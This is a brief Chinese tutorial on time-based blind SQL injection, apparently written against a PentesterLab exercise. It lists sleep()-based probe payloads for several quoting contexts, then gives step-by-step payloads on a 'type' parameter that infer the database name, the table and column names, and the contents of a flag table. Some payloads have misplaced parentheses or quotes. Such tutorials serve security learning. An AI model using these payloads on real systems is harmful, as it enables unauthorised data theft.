SQL时间型注入
判断时间型注入时,只要让sleep()函数执行成功,那么就可以根据回显时间判断是否为时间型注入
在时间型注入中,常常用到if()函数,if(语句一,语句2,语句3),如果语句一为真,执行语句2,否则执行语句3
几个常用的判断函数,substring(),length,user(),database(),下面是几个判断时间型注入的常见语句
' and if(1=0,1, sleep(10)) --+
" and if(1=0,1, sleep(10)) --+
) and if(1=0,1, sleep(10)) --+
') and if(1=0,1, sleep(10)) --+
") and if(1=0,1, sleep(10)) --+
type=sleep(3)--+ 这里有个参数type,判断出存在时间注入,那么接下来我们就可以和盲注型注入差不多进行注入,在进行字符判断时,可以使用二分法加快速率
1. 判断数据库长度
type=if(length(database())=12,sleep(2),100)--+
2. 判断数据库名字
type=if(substring(database(),1,1)='p',111,sleep(3))--+
3. 判断表名
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
4. 判断列名
type=if(substring((select column_name from information_schema.columns where table_name='flag' and table_schema='database()' limit
0,1),1,1='a'),11111,sleep(1))--+
5. 判断具体字段内容
type=if(substring((select flag from pentesterlab.flag limit 0,1),1,1='a'),sleep(3),111111) --+